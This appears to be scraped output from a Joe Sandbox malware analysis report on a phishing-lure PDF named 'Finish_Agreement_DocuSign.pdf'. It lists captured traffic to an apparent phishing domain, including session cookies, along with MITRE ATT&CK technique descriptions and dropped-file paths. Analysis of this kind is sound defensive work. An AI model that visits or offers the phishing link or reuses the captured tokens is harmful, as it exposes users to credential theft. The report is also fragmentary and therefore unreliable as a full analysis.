Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: rwcq.qonimex.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rwcq.qonimex.ru/Q7boMM5R/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkFvQXdEUUFSSUNOMGN0dG9YRm4vWlE9PSIsInZhbHVlIjoiZzBuTGJMZDErckpmaG9kc1JlTURIL29nYk1mU2YzeVhubnI5S3dMZlFRQzVmTWVNMk9uT25sS0tUVm1qQmFxY2M2ckhzTWt5TzhRRUlkL2VXb0ZaQnNsY2l1cEV0SVhMMWt0RXBGMTE1MmRJdDlacUpKUzdjVjVmTGZBM0d0WW4iLCJtYWMiOiI4NmQ3NmI4ZDM1NzkyMDg4NjJkYTEwYTNkODcxMDU5ZWM3MzQ3Y2RmZGYyY2M1OWExYzQ2MDI5OWMyMmRjYjk2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlBjdE9JdzExd0RkdjNGVlNHdUVFeUE9PSIsInZhbHVlIjoiSXhFOXprbEJ3ekxhOVI1OE90OXo2TUxvQS9POGtoY0ZTSllUTm5mRWlSS0ozbHdtSWNQd3ZoTXRiTjkvR2tuNmdIbUZwV21sa0UzNkFOclVRZ1hpU0t3MkVYRW8yVWllN2ROZFdIeG1aYncvcUdFMS93c0VjSnFYNkN5VE1qcDAiLCJtYWMiOiIwMmEyNTVjOGI0NTljYjIxYzA3MTFjMGFiZGZiNWI2ZDc3M2NlN2U5NDg0MjcyM2I0NTkyM2RlMTIxZWFjOGYyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /img/b/R29vZ2xl/AVvXsEgdrhY6zM7txEf61nPO67_Cl7rOyCGsyEb9GaIEqe3M-p-yN2nJeBUGCXkDygK7t8xYVcKwSgu4v0_u6EZF5srUh16p0vNl1K8hBeBV8dg-KcOpt7y8vrkamMOU2HxW0STp0JDEp21FWuCWxDXZX0EtxoLPSBWR6WwhXZglXIvWXbh24ojuyofD6htY8D4/s3396/userinter.png HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlKHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: rwcq.qonimex.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: blogger.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Finish_Agreement_DocuSign.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ea0667a6-b691-4295-8613-cc808542a53e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241126053916Z-167.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Windows Analysis Report
Finish_Agreement_DocuSign.pdf